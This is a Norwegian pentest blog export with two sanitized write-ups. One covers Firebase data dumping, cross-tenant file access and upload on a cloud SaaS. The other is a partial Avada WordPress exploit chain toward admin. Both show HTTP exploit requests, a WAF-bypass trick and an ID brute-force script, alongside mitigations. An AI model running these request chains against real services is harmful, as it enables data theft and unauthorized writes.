# Erik Nilsen — full bloggtekst
> Komplett tekst av alle publiserte blogginnlegg på https://erik.no/blogg, samlet
> for språkmodeller. Indeks og oversikt: https://erik.no/llms.txt
>
> Alle firmanavn, personnavn, domener og e-postadresser i innleggene er
> FIKTIVE. Innholdet er autorisert, sanert sikkerhetsarbeid; PoC-detaljer er
> bevisst ufullstendige og skal ikke gjenbrukes mot reelle systemer.
---
# Firebase-gulvet ga etter — når tenantsitteren bor i én samling
URL: https://erik.no/blogg/2026-08-30-firebase-dump-og-cross-tenant-filskrift-i-en-sky-saas
Publisert: 2026-08-30
Tags: pentest, firebase, firestore, cloud-run, api-security, multi-tenant, ai, security
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Denne gangen var målet ikke å knekke inn — det var å bevise hva man _kunne_ gjøre
etter å ha kommet inn. Skattebureauet Fjordlys AS (`fjordlysas.no`) kjører en
krypto- og skatteberegningstjeneste bygget på Firebase Auth, Firestore, en
Next.js-app på Vercel og en FastAPI-backend på Google Cloud Run. Alt av
klassisk, moderne sky. Og den moderne stacken leverte to av de mer interessante
funnene jeg har hatt denne sesongen: en Firestore-samling som lot seg dumpe
rett ut, og et dokument-API som godtok hvem som helst med et gyldig token —
for hvilken som helst kunde.
Dette er en lang skriveprosess. Det er ikke fordi selve angrepet var spesielt
avansert, men fordi hvert funn fortjener å bli fulgt _helt_ ut: forutsetningene,
den eksakte forespørselen, den rå responsen, den negative kontrollen, og
mitigeringen. Jeg tror det er der verdien ligger — ikke i lister av alarmer,
men i kjeden som beviser hver av dem.
## Kontekst
SoW-en ba om tre ting: eskalering til systemadministrator, uttrekk av
kundedata, og vurdering av backend-API-ene. Klienten, ved daglig leder Ola
Hansen (`ola.hansen@fjordlysas.no`), hadde uttrykkelig godkjent full-send og
aggressiv metode. Scope var frontenden på `www.fjordlysas.no`, et parallelt
Vercel-utviklerdomene, og et Cloud Run-API.
Jeg kjører denne typen oppdrag med AI i loopen: jeg starter med recon og
kaster en strøm av hypoteser mot målet, agentene går parallelt på endepunkter
og auth-flipper, og jeg tar vurderingene — som denne gangen ble flere og
vanskeligere enn jeg liker. Stacken er dessuten svært snakkende: med et
Firebase-basert produkt sitter hele datamodellen i praksis _i klienten_,
og buntene spytter ut alt du trenger for å kjøre mot samme backend som
appen selv gjør.
## Oppsett og vektløftingen før angrepet
Første time var ren kartlegging. AI-en kjørte subdomain-enumerasjon med
`subfinder` og `httpx`, og nuclei mot infrastrukturen:
```bash
nuclei -u https://www.fjordlysas.no -t cves/ -severity critical,high -rl 50
```
Nul treff mot 4 222 CVE-maler. Det er et funn i seg selv —
infrastrukturlaget var oppdatert. Men det viktigste var noe enklere:
det paralelle rå‑Vercel‑domenet (i denne teksten `raw-deploy.vercel.app`)
svarte uten WAF-bonnen Cloudflare setter opp foran hoveddomenet. Det ga meg
en trafikk-skanse for resten av oppdraget — ikke et funn i seg selv, men en
kondisjon som gjorde alt annet lettere.
Frontendbuntene lastet jeg ned og la i et lokalt arbeidsområde. Det er
vanlig praksis, men fortjener en nevnning fordi alt det _virkelige_ arbeidet
senere kom fra å lese dem ordentlig:
```bash
grep -ohR "/api/[a-z][a-z0-9/_-]*" bunten/ | sort -u > endpoints.txt
wc -l endpoints.txt # 164 endepunkter
```
164 API-ruter, ekstrahert fra Vite/Next.js-bunter med en AI-generert
`rg`-pipeline. Det er tjenestens hele API-overflate, plukket fra klienten
som en leser kunne gjort over en lunsj.
## Vekten av en trauskanse: WAF-bypass-ruten
Før selve funnene, en liten egen historie som gjorde hele oppdraget enklere —
og som er verdt å formidle fordi det er et mønster jeg ser gjentatte ganger
på Vercel-baserte produkter.
Hoveddomenet `www.fjordlysas.no` lå bak Cloudflare. Cloudflare setter en
`Vercel Security Checkpoint`-utfordring på bot-trafikk, og det gjør
skannere og automatiserte forespørsler tungvindt: man må verifisere seg,
cookies rullerer, og `nuclei`-sweeps blir tregere og støyere enn de trenger
å være. Det er tjenesten så vidt jeg forstår bevisst — men den har en blind
flekk: den rå Vercel-deploy-URL-en.
Hver Vercel-deploy kan nås direkte via `.vercel.app`, uten
Cloudflare foran. DNS-en peker mot Vercel, men ingenting hindrer en i å
snakke med Vercel-endepunktet direkte — med mindre prosjekteier har
konfigurert domain-verifisering som avviser trafikk som ikke kommer via
kundens eget domenenavn. Det hadde ikke blitt gjort her:
```bash
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
https://www.fjordlysas.no/api/health # 403 (Cloudflare challenge)
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
https://raw-deploy.vercel.app/api/health # 200 {"status":"ok"}
```
Samme app, samme backend, samme API — men én rute gjennom WAF-en og én
uten. Resten av oppdraget kjørte jeg mot Vercel-domenet med en standard
Chrome UA-streng (`Mozilla/5.0 Chrome/151.0.0.0`; en annen UA ga
`403` med Cloudflare-feilkode 1010 på enkelte ruter — verdt å notere
hvis du replikerer).
Det er ikke et sårbarthetsfunn i seg selv — appen er lik, og alt som
er tilgjengelig bak Vercel-URL-en er også tilgjengelig gjennom hoved
domenet for en ekte bruker. Men det er en _operasjonell_ svakhet:
WAF-en, som er en del av forsvarsoverflaten, kan omgås fullstendig,
og ratelimitregler som er konfigurert i Cloudflare gjelder kun
hoveddomenet. Jeg rapporterte det som en anbefaling
("lay Vercel-deploys bak Cloudflare i front, eller la Vercel avvise
Host-headere som ikke matcher kundens domene") snarere enn et funn,
fordi eksploitverdien er indirekte. .
## Oppsette probe-kontoen
Firebase API-nøkkelen sto i klartekst i hovedbunden (klassisk Firebase-mønster;
nøkkelen er ikke en hemmelighet, men den er nødvling for at REST-API-ene
skal virke). Med den registrerte jeg en prøvebruker via Googles identitytoolkit:
```http
POST /v1/accounts:signInWithPassword?key=
Host: identitytoolkit.googleapis.com
{"email":"pentest.probe@fjordlysas.no","password":"","returnSecureToken":true}
```
```json
{
"localId": "1111111111111111111111111111",
"idToken": "",
"refreshToken": "",
"expiresIn": "3600"
}
```
Verifiserte e-posten via `accounts:sendOobCode` mot en postkasse jeg kontrollerer.
Det er den tilstanden alt det videre forutsetter: **et gyldig Firebase JWT
for en alminnelig, nyregistrert kundebruker.** Ingen roller, ingen custom
claims — bare standardtokenet alle kunder går rundt med.
## Det jeg fant
Fire funn holdt seg til slutt. Tre av dem er egentlig én historie om
Firestore-regler og manglende tenant-filter i en backend, og den fjerde er
et postendepunkt som lar deg sende e-post fra firmaets eget domene.
### Funn 1: 974 brukerprofiler i klartekst
Firestore-sikkerhetsreglene for `users`-samlingen tillot _lesing av hele
samlingen_ for enhver innlogget bruker. En enkel list-operasjon via
Firestore REST API med min egen Firebase-token returnerte paginert
brukerdata — 974 dokumenter i klartekst: e‑post, navn, kunde-ID-er
(`CUST-`-format), kontonumre, roller og opprettelsestidspunkter.
```http
GET /v1/projects/fjordlys-frontend/databases/(default)/documents/users?pageSize=5
Host: firestore.googleapis.com
Authorization: Bearer
```
```json
{
"documents": [
{
"name": "projects/fjordlys-frontend/databases/(default)/documents/users/1111...",
"fields": {
"email": {"stringValue": "kari.nordmann@fjordlysas.no"},
"customer_id": {"stringValue": "CUST-1765897468504"},
"role": {"stringValue": "company_admin"},
"approved": {"booleanValue": true}
}
}
],
"nextPageToken": ""
}
```
Det er ikke teknisk komplisert — det er bare en regel som glemte at
`list` og `get` er to ulike operasjoner. Jeg fikk AI-en til å skrive et
lite paginerings-script som dumpet hele samlingen; det tok under tre minutter.
.
Dette er det klassiske Firebase-feilgrepet: sikkerhetsregler skrives for
"kan lese _sitt eget_ dokument", men `list`-operasjonen arver ikke
`get`-regelen automatisk. En regel som kun sjekker
`request.auth.uid == resource.id` blokkerer _lesing av andres dokumenter_
— men _listingen_ av hele samlingen må avslås separat, og det ble den ikke.
### Funn 2: Cross-tenant filmetadata via dokument-API-et
FastAPI-backend på Cloud Run eksponerte `/openapi.json` åpent. Elleve
endepunkter, og to av dem tok en `customer_id`-parameter:
```http
GET /api/documents?customer_id=0592-5351-8860-8859
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
```
Responsen var filmetadata for en kunde jeg aldri hadde hørt om — filnavn,
GCS-sti, filstørrelse, opplastingstidspunkt og behandlingsstatus, for
_multiple platformer_ (kryptobørser, tradingsplattformer). Det er
kundemappestrukturen i et sky-lagringsbøtte, hentet ut med min
alminnelige kundebrukers token.
```json
{
"files": [
{
"name": "20251218_212910_transactions.xlsx",
"path": "0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx",
"size": 76475,
"customerId": "0592-5351-8860-8859",
"platformId": "coinbase"
}
]
}
```
Negativ kontroll først: med et _ukjent_ kunde-ID returnerte samme endepunkt
`200` med en tom liste — ikke `403`, ikke `404`. Det er ikke noe som beviser
lekkasje i seg selv, det beviser bare at endepunktet ikke avgrenser på
eierskap. PoC-en under viser begge sider.
.
### Funn 3: Cross-tenant filskriving
Samme endepunktfamilie hadde en upload-rute som tok multipart-form med
`customer_id` og fil:
```bash
curl -X POST https://api.fjordlys-internal.europe-west1.run.app/api/documents/upload \
-H "Authorization: Bearer " \
-F "customer_id=0592-5351-8860-8859" \
-F "platform_id=coinbase" \
-F "file=@/tmp/poc.csv"
```
```json
{
"id": "13b4e903-c7c1-4281-94ca-327798e39100",
"filename": "poc.csv",
"gcs_path": "gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"
}
```
Etterfulgt av en liste-operasjon som bekreftet at filen nå lå i
kundemappen, ved siden av kundens eksisterende transaksjonsfiler.
Det er skriving til en fremmed kundes datamappe, med et token som
ikke inneholder den kunden, og uten at noen autorisasjonssjekk
grep inn. .
### Funn 4: E-postutsending fra firmaets domene
`POST /api/send-email` på Next.js-serveren sendte en testmelding via firmaets
e-postleverandør, fra domenet `fjordlysas.no`. Rate-limit var 79 per dag, og
alle utsendelser ble auto-kopiert til en intern adresse (som betyr at mottakeren
_av_ kopien _ser_ at en test har gått — men selve utsendingen kom fra
den offisielle domenet, fra en vanlig kundebrukers token).
.
PoC-en for dette var enkel, men jeg vil vise den likevel — e-postutsending
er en av de funntypene der en enkelt respons forteller deg alt:
**Forutsetninger:** Firebase JWT fra probe-kontoen. Utsendingen ble kjørt
etter avtale i SoW, mot en postkasse jeg selv kontrollerer.
```http
POST /api/send-email HTTP/1.1
Host: raw-deploy.vercel.app
Authorization: Bearer
Content-Type: application/json
{"to":"mine-testmottakere@eksempel-no.no","subject":"PoC","body":"Test fra pentest-probe"}
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"ok":true,"remainingToday":78}
```
**Tolkning:** `200` pluss at meldingen faktisk ankom min testpostkasse,
med `From:` på `fjordlysas.no`, er beviset. Auto-kopien til den interne
adressen var synlig i mine headers — det er en implementasjonsdetalj
som kanskje var ment som en varslingsmekanisme, men den gjør også at
den som mottar meldingen _kan_ se at en test har gått. Det gir
sporbarhet, men hindrer ikke misbruk: en angriper kan sende meldinger
fra det offisielle domenet til hvem som helst, med et vanlig kunde
token, 79 ganger per dag.
En negativ kontroll her var å sende med manglende felter — den ga
en ryddig valideringsfeil, noe som viser at validering eksisterer
på skjema-nivå men ikke på autorisasjonsnivå:
```http
HTTP/1.1 400 Bad Request
{"message":"Mangler mottaker"}
```
**Mitigering:** Krav om admin-rolle eller minimum en eierskapssjekk
(kun send til _egen_ registrerte e-post, med tydelig
"systemmelding fra testmiljø"-markering). .
### Funn 5: Kundesekvens-sweepen som ikke ga treff — og hvorfor det var nyttig
En metodemessig sidegrein jeg regner som et delresultat. Jeg trengte
flere kunde-ID-er for å vise at Funn 2 var systematisk, ikke en
tilfeldighet. Kunde-ID-ene i Firestore-dumpen (`CUST-`-format)
matchet ikke formatet Cloud Run-API-et forventet
(`0592-5351-8860-8859`-format — fire blokker på fire siffer). Det er
tydeligvis to ulike identifikatorsystemer i samme tjeneste.
Jeg fikk en agent til å generere og teste ~1 500 ID-varianter mot
`/api/documents` med parallell utførelse:
```python
from concurrent.futures import ThreadPoolExecutor
def probe(cid):
req = urllib.request.Request(
f"{BASE}/api/documents?customer_id={cid}",
headers=UA, method="GET")
d = json.loads(urllib.request.urlopen(req, timeout=8).read())
return (cid, len(d)) if isinstance(d, list) and d else None
with ThreadPoolExecutor(20) as ex:
for hit in ex.map(probe, test_ids):
if hit:
print(hit)
```
Null treff på 1 500 forsøk. Det er en negativ kontroll av samme slag
som det jeg forventet å finne — den forteller at kunde-ID-ene ikke
er gjetbare i praksis, og at det reelle angrepet _ikke_ er
"brute-force deg til en kundefolder" men "vite én kunde-ID og lese
den". Jeg fikk vite én kunde-ID fra Firestore-dumpen (Funn 1), og
det var nok. De to funnene kobler seg altså til hverandre:
samlingenlekkasjen leverer _materiellet_ (kunde-ID-er), og
dokumentAPI-et leverer _lekkasjen_ (metadata + skriving).
Det er et godt eksempel på en teknikk jeg bruker bevisst: **en
negativ sweep som beviser at angrepsflaten er smal, er like verdifull
som en positiv som viser at den er bred.** Uten sweepen ville en
leser (eller klienten) kunne tro at cross-tenant-funnet bare var
et problem hvis man alt kjente til ID-en — det er ikke tilfelle.
## PoC / Reproduksjon
For Funn 2–3 kjører hele kjeden slik:
**Forutsetninger:** innlogget som nyregistrert kundebruker
(`poc@fjordlysas.no`, Firebase JWT i `token.txt`). Kundefolder
`0592-5351-8860-8859` tilhører en annen bruker — jeg har aldri hatt
tilgang til den, og fant ID-en i Firestore-dumpen fra Funn 1.
1. Registrer bruker og hent Firebase JWT:
```bash
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=" \
-H "Content-Type: application/json" \
-d '{"email":"poc@fjordlysas.no","password":"","returnSecureToken":true}'
```
2. List fremmed kundes filer:
```http
GET /api/documents?customer_id=0592-5351-8860-8859 HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
[{"id":"c6978901-...","filename":"20251218_212910_transactions.xlsx",
"gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx"}]
```
3. Last opp en fil i samme mappe (bevis for skriving):
```http
POST /api/documents/upload HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
Content-Type: multipart/form-data; boundary=...
--...
Content-Disposition: form-data; name="customer_id"
0592-5351-8860-8859
--...
Content-Disposition: form-data; name="file"; filename="poc.csv"
Content-Type: text/csv
test,data
--...--
```
```http
HTTP/1.1 200 OK
{"id":"13b4e903-...","gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"}
```
4. **Negativ kontroll** — prøv å list dokumenter for en kunde-ID som
_ikke finnes_ (tilfeldig generert):
```http
GET /api/documents?customer_id=1234-5678-9012-3456
Authorization: Bearer
```
```http
HTTP/1.1 200 OK
[]
```
**Tolkning:** tom liste — ikke `403` eller `404`. Endepunktet oppfører seg
likt for en kunde jeg eier, en jeg ikke gjør, og en som ikke finnes. Det er
det som gjør Funn 2–3 til et strukturelt problem og ikke en engangsfeil:
autorisasjonssjekken mangler, den er ikke bare feilkonfigurert for én kunde.
.
**Mitigering:** Cloud Run-endepunktet må validere at `customer_id`
svarer til en kunde som kallerens Firebase-bruker faktisk eier
(foreks. via `users/{uid}.customer_ids`), og returnere `404` ved avvik
for ikke å bekrefte eksistens:
```diff
@router.get("/documents")
-async def list_documents(customer_id: str, user=Depends(get_current_user)):
- return await storage.list_files(f"{customer_id}/")
+async def list_documents(customer_id: str, user=Depends(get_current_user)):
+ if customer_id not in user.customer_ids:
+ raise HTTPException(404)
+ return await storage.list_files(f"{customer_id}/")
```
Samme filter trengs på upload-ruten, og der bør opplastingen også
logges med hvem som lastet opp.
## Fire funn til — og hvorfor de ikke holdt
En god del av det jeg oppdaget underveis så ut som store funn, men ble
nedgradert etter verifisering. Det er like mye å lære av dem, og de forteller
noe om forskjellen mellom "plausible funn" og "kontrollerte primitiver"
som jeg prøver å holde strengt i mine rapporter.
### Administratorportalen jeg aldri kom inn i
JS-buntene viste hardkodede e-postadresser (typisk `admin@…`-mønster) som
klienten sjekket for å rendre en admin-dashboard. Så tiltalende — skriv
din egen e-post inn i brukerdokumentet, og klienten gir deg UI-en.
Men serveren validerte ikke klientens sjekk. Den validerte med
**Firebase custom claims** (`crmExternal: true`) — som settes kun via
Admin SDK og verifiseres serverside i JWT-en. Jeg skrev
`role: "sysadmin"` til mitt eget Firestore-dokument, oppdaterte
`crmExternal: true`, og testet hele admin-flaten igjen. Alle
admin-endepunktene fortsatte å svare `403`.
Negativ kontroll (i praksis): jeg verifiserte via `accounts:lookup`
at tokenet ikke inneholdt custom claims (`customAttributes: none`),
og bekreftet at det var JWT-en, ikke Firestore-dokumentet, som var
den server-side kilden til sannhet. Admin-laget holdt — rapporterte
det som en positiv vurdering, ikke et funn.
### Cloud Run-registreringen som ikke gav tilgang
Backend-API-et hadde et eget brukersystem med `/api/auth/register`
som aksepterte min registrering og returnerte et UUID-token. Så ble
samme token avvist av samme backend én fetch senere:
```http
GET /api/auth/me HTTP/1.1
Authorization: Bearer
HTTP/1.1 401 Unauthorized
{"detail": "Invalid authentication credentials"}
```
Mens Firebase JWT-er fungerer mot dokument-endepunktene på samme
backend. Det er et funn i seg selv — to autoriseringssystemer
som ikke er i samsvar — men ingen innbrudd, og det er verdt å nevne
som et varsel til klienten: to identitetslag som ikke er koordinert
er en kilder til fremtidige hull.
### External-upload-secret-en
Et uautentisert token-utvekslingsendepunkt (`/api/crm/external-upload/exchange`)
returnerte et Firebase custom token ved gyldig `customerId` + `secret`,
og det custom-tokenet inneholdt `crmExternal: true` — altså den samme
claim-en som admin-endepunktene sjekker. Det er en _riktig_ vei til
økt tilgang, hvis man kjenner en gyldig secret. Men secret-en viste
seg å være en UUID v4 (2^122 muligheter), og jeg fant ingen way å
enumerere den. Droppet brute-force, rapporterte mekanismen som et
risikomønster i stedet — særlig fordi alle kunder så ut til å mangle
provisionerte secrets, noe som betyr at angrepet i praksis er
teoretisk inntil noen aktiverer det.
### GCS-bøtten jeg kunne navngi, men ikke lese
Med Firebase JWT returnerte både XML- og JSON-API-et til Google
Cloud Storage `401 Invalid Credentials` — Googles storage-API
forventer OAuth-token, ikke Firebase-ID-token. Filinnholdet kunne
jeg ikke hente ut byte for byte uten en annen auth-vei; kun metadata
og skriving var tilgjengelig via backend-API-et. Jeg prøvde også
Firebase Storage API — der fikk jeg en annen feil, at bøtten ikke
var konfigurert for Firebase Storage, noe som antyder at tjenesten
bruker rå-GCS med tjenestekonto-nøkler på backend-siden (som forventet).
Det var en fordel for klienten: filinnholdet er ikke lesbar for
en alminnelig Firebase-bruker selv om metadataene er det.
## Verktøy og hvem som kjørte hva
- **Recon og subdomain-enumerasjon:** AI-agent med `subfinder` og
`httpx -silent -title`. Jeg satte scope-filen.
- **nuclei v3 (4 222 CVE-templates):** AI-kjør mot både hoveddomenet og
rå-Vercel-utpakkingen. Null treff — som var poenget: ingen kjente
CVE-er å bygge videre på.
- **Frontend-bunt-analyse:** Jeg lastet ned `index-*.js` og chunk-filer
manuelt; en AI-agent ekstraherte 164 API-ruter med `rg`-mønsteret over.
- **Firestore-dumpen:** AI-generert Python-script med `urllib`, paginert
mot Firestore REST API med min egen Firebase JWT. Jeg satte
ratelimit og verifiserte at jeg ikke skrev noe.
- **Upload-PoC:** Manuell `curl` fra min maskin, mot en kundefolder
avtalt i SoW. Filinnholdet var en to-linjers CSV med en teststreng.
- **Negativ kontroll:** Manuell — det er vurderingen som avgjør om
responsen beviser noe, og den vil jeg ikke delegere.
- **Brute-force av tenant- og kunde-ID-er:** AI-agent kjørte en
parallellisert `ThreadPoolExecutor`-sweep mot
`/api/documents?customer_id=X` med ~1 500 genererte ID-er. Null
treff — som var nyttig: det betydde at kunde-ID-ene ikke var
sekvensielle eller gjetbare, så fundet Funn 2 er ikke et
enumerasjonproblem i praksis, men et autorisasjonsproblem.
## Mitigering
Fire konkrete forslag, i prioritert rekkefølge:
1. **Firestore-regler:** endre regelverket slik at `users`-samlingen
tillater `get` på `request.auth.uid == resource.id`, men _ikke_
`list` for alminnelige brukere. Dette alene lukker 974-profil-lekkasjen.
.
2. **Tenant-filter på dokument-API-et:** legg til et predikat på både
`list` og `upload` som sjekker `customer_id` mot kallerens
`customer_ids`, og returner `404` ved avvik (ikke `403`).
.
3. **E-postutsending:**`/api/send-email` bør kreve admin-rollen eller
i det minste MFA-gated tilgang, ikke bare et gyldig Firebase-token.
.
4. **Generelt:** gjennomgå alle backend-endepunkter som tar en
kunde-ID-parameter. To av elleve i OpenAPI-spec-en manglet
eierskapssjekk — det er et mønster, ikke en tilfeldighet.
Etter Firestore-regelendringen skal en nyregistrert brukers
`list`-forsøk på `users`-samlingen svare `403 PERMISSION_DENIED`
— ikke bare en tom liste. Test det regressivt etter deploy.
## Hva jeg lærte
- **Firestore-regler feiler på `list`, ikke `get`.** Alle tester
av "kan jeg lese mitt eget dokument" passerer. Først når du _listar_
samlingen ser du at regelen bare dekker enkeltdokumenttilfelle.
- **Cross-tenant i fil-API-er ser ofte ut som "tom liste" i stedet
for `403`.** Den tomme responsen er lettere å overse, og den er
det som gjør bruddet systematisk.
- **Custom claims er ikke synlige i Firestore.** Jeg prøvde å eskalere
til sysadmin ved å skrive en rolle til mitt eget Firestore-dokument;
serveren ignorerte det fullstendig. Custom claims settes kun via
Admin SDK og verifiseres i JWT-en — den modellen holdt, og det er
verdt å si også.
- **En moderne Firebase-stack er utrolig informativ å angripe.**
Bunter, REST-endepunkter og autoriseringsregler er alle lesbare.
En produkteier som har et slikt oppsett bør teste _regler_ og
_endepunkter_ systematisk, ikke bare web-flaten.
- **AI-agenter produserer plausible funn fort — og plausible
feilgrep like fort.** Verdien ligger i verifiseringen. Jeg så
minst to funn denne runden som så "kategorisk gale" ut i en
agent-rapport, og som falt fra hverandre når jeg kjørte dem
manuelt med en negativ kontroll. Rapporten er langt kortere
enn agentenes funnlister, og det er med vilje.
## Veien videre
Funnene er rapportert og fikseansvarlig er varslet. Jeg jobber videre
med to tråder:
- Klientbuntanalysen er skalerbar — jeg jobber med et lite verktøy som
trekker ut API-ruter og Firestore-samlingnavn fra en produksjonsbunt
automatisk, slik at denne typen kartlegging kan kjøres i starten av
ethvert Firebase-basert oppdrag.
- For kunder med Firebase-stack: en liten sjekkliste ("kan en nybruker
`list`-e min `users`-samlingen? har hvert endepunkt med en
kunde-ID-parameter en eierskapssjekk?") som jeg regner med blir
en fast del av mine oppdrag fremover.
Dessuten: custom-claims-modellen som holdt her er verdt en egen
artikkel. Det er den eneste autoriseringsmekanismen jeg møtte i
dette oppdraget som jeg _ikke_ kom forbi, og grunnen er verdt å
skrive ut eksplisitt.
---
# Fra anonym WordPress-request til administrator via patcheren
URL: https://erik.no/blogg/2026-08-28-fra-anonym-wordpress-request-til-admin-via-patcheren
Publisert: 2026-08-28
Tags: pentest, wordpress, rce, cve, ai, security
**FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Jeg har tidligere skrevet om [en WordPress-side der web-laget holdt](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren). Denne gangen gjorde det ikke det. En anonym AJAX-request ble først til en persistent post-meta-write. Den var rapporterbar, men ga meg ingen admin. Den virkelige inngangen lå i kombinasjonen av Avada Builder, Dynamic Data og patcheren.
Sluttresultatet var en komplett kjede uten konto eller cookie: offentlig nonce, anonym rendering av et administrativt action hook, request-lokal patchmetadata, filskriv til en webkjørbar PHP-fil, opprettelse av en midlertidig administrator og vanlig innlogging i WordPress. Etterpå slettet jeg kontoen, ugyldiggjorde sesjonen og restaurerte filen byte for byte.
Dette er en sanert reproduksjon. Requeststrukturen, kontrollene og responsene er beholdt. Den virksomme Dynamic Data-strengen og PHP-payloaden er erstattet med placeholders, så teksten beskriver beviset uten å være et ferdig våpen mot et ekte nettsted.
## Kontekst
Skranglekopp AS (`skranglekoppas.no`) hadde en offentlig WordPress-side med Avada 7.12.1 og Avada Builder 3.12.1. Oppdraget var en ekstern, uautentisert test. Scopet tillot kontrollert filskriv og administratorbevis så lenge endringen var minimal, reversibel og dokumentert.
CVE-triage var bare én del av arbeidet. Jeg lot AI-agenter kartlegge hoster, AJAX-actions, offentlige scripts og observerte versjoner. Agentene skrev små `requests`-baserte script, kjørte matchede kontroller og samlet headers, bodies og SHA-256. Jeg bestemte hvilke spor som fikk eskaleres, hva som var godt nok bevis, og hvilke produksjonsendringer som var forsvarlige.
To tidligere erfaringer påvirket oppsettet. [WP Defender-utlåsingen jeg skrev om i juni](/blogg/2026-06-18-wp-defender-laste-ut-skanneren-min) lærte meg å fingerprint sikkerhetslaget før støyende enumerering. [Cross-tenant-funnet som ikke overlevde verifisering](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering) gjorde den negative kontrollen til et eksplisitt krav før noe fikk kalles et funn.
Jeg brukte derfor en enkel bevisstige:
```text
E1 hypotese eller versjonstreff
E2 teknisk reproduksjon uten autoritativ effekt
E3 kontrollert sikkerhetsanomali
E4 målt effekt + negativ kontroll + readback + opprydding
```
Skanneroutput stoppet på E1. `HTTP 200` stoppet som regel på E2. WordPress-admin krevde en faktisk innlogging og en verifisert rollback.
## Det første funnet: en TOC-write som ikke ga admin
Avada Builder registrerte den uautentiserte actionen `awb_save_toc_tree`. Handleren tok imot en positiv `postId` og et nestet `trees`-objekt, saniterte node-ID og tittel, og skrev resultatet til den faste post-meta-nøkkelen `awb_toc_trees_cache`.
Det manglet både en action-spesifikk nonce og en capability-sjekk som `current_user_can('edit_post', $post_id)`.
### Forutsetninger
- Ingen WordPress-konto.
- En offentlig testside med post-ID `2`.
- Ingen eksisterende TOC på testsiden.
- En unik inert canary: `AWB_TOC_POC_4f92c7d1`.
- En offentlig Post Cards-template som kunne brukes som database-backed readback-orakel.
Før write kjørte AI-scriptet to spørringer gjennom `fusion_get_widget_markup`:
1. `LIKE` på den eksakte canary-tittelen.
2. `EXISTS` på `awb_toc_trees_cache`.
Begge returnerte samme tomme widget:
```http
HTTP/1.1 200 OK
Content-Type: application/json
"
......
"
```
### Matchet negativ kontroll
Jeg sendte først identiske felt til en action som ikke fantes:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=awb_save_toc_tree_control&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1
```
```http
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
0
```
Deretter sendte jeg samme request med den registrerte actionen:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=awb_save_toc_tree&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1
```
```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
0
```
Bodyen `0` beviser ingenting alene. Forskjellen mellom `400` og `200` viser bare at WordPress fant en registrert handler. Beviset kom fra de to readback-spørringene. Begge gikk fra tom widget til den templaten som bare rendres når post-meta-predikatet matcher:
```http
HTTP/1.1 200 OK
Content-Type: application/json
"
"
```
Den eksakte canary-queryen og den uavhengige `EXISTS`-queryen returnerte samme 1628-byte body. Før write var bodyen 88 byte. Det var en persistent databaseendring, ikke bare ulik feilhåndtering.
### Rollback
En cache-bustet rendering av testsiden utløste pluginens egen garbage collector for sider uten TOC. Begge oraklene returnerte deretter nøyaktig samme 88-byte body og SHA-256 som før write. Canaryen levde i omtrent halvannet sekund.
Funn: . En anonym angriper kunne endre TOC-cache for en valgt post, men metanøkkelen var fast og verdiene ble saniterte. Jeg hadde ikke vilkårlig meta-write, XSS, filskriv eller kodekjøring. Det var viktig å stoppe den konklusjonen der.
## Sporet som faktisk nådde patcheren
Den andre kjeden startet med en offentlig Builder-nonce. En anonym request til frontend-editor-modus returnerte `fusion_load_nonce` i sidekonfigurasjonen:
```http
GET /?fb-edit=1 HTTP/1.1
Host: skranglekoppas.no
```
```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
...
{"fusion_load_nonce":""}
...
```
Noncen var ikke admin i seg selv. Den åpnet `fusion_get_widget_markup`, som kunne rendre en tekstwidget med Fusion-shortcodes. Dynamic Data støttet et `action_hook`-felt. Det lot den anonyme renderingen dispatchere WordPress-hooks som aldri burde vært tilgjengelige i den konteksten.
### Hent en patcher-nonce gjennom rendering
Den sanerte requesten ser slik ut:
```http
POST /wp-admin/admin-ajax.php?page=avada-patcher HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=fusion_get_widget_markup
&fusion_load_nonce=
&widget_id=poc-patcher-render
&type=WP_Widget_Text
¶ms[wp_widget_text__filter]=1
¶ms[wp_widget_text__text]=
```
Den faktiske shortcode-bloben er utelatt. Strukturen rendret Avadas patcher-side i widgetkonteksten. Responsen inneholdt en ny nonce:
```html
```
På dette tidspunktet hadde jeg et anonymt orakel for administrativ patcher-tilstand, men fortsatt ingen filskriv.
## Blindsporet: en stor patch-ID ble bare hoppet over
Første forsøk brukte en tilfeldig stor patch-ID. Serveren svarte pent, men gjorde ingenting:
```json
{"success":true,"data":{"message":"Skip the patch","patch_id":422597}}
```
